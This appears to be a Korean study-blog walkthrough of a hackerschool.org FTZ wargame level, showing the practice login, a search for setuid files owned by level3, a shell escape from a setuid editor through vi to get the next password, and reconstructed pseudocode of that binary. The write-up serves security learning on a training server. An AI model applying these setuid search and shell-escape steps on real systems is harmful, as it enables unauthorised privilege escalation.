본문 바로가기
보안과정/리버싱

Level 2 → Level 3

by Luuii 2017. 11. 28.

www.hackerschool.org 를 바탕으로 공부한다.


level2 사용자로 로그인

ID : level2

Pass : hacker or cracker


$ ls -l

$ cat hint


$ find / -user level3 -perm -4000 2>/dev/null


$ ls -l /usr/bin/editor

$ which vi

$ ls -l /bin/vi

$ ls -l /usr/bin/vim


$ /usr/bin/editor

:! bash

$ my-pass


$ exit

:q!


○ 리버싱을 통한 의사코드 복원

$ gdb /usr/bin/editor

(gdb) disas main


1
2
3
4
5
6
7
8
9
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
 
int main()
{
    setreuid(30033003);
    system("/bin/vi");
}
cs


[참고][클릭]setreuid 함수에 대해서(Real UID / Effective UID)




반응형

'보안과정 > 리버싱' 카테고리의 다른 글

Level 5 → Level 6  (0) 2017.11.29
Level 4 → Level 5  (0) 2017.11.28
Level 3 → Level 4  (0) 2017.11.28
Level1 문제 도전.  (0) 2017.11.27
백도어(Backdoor)  (0) 2017.11.27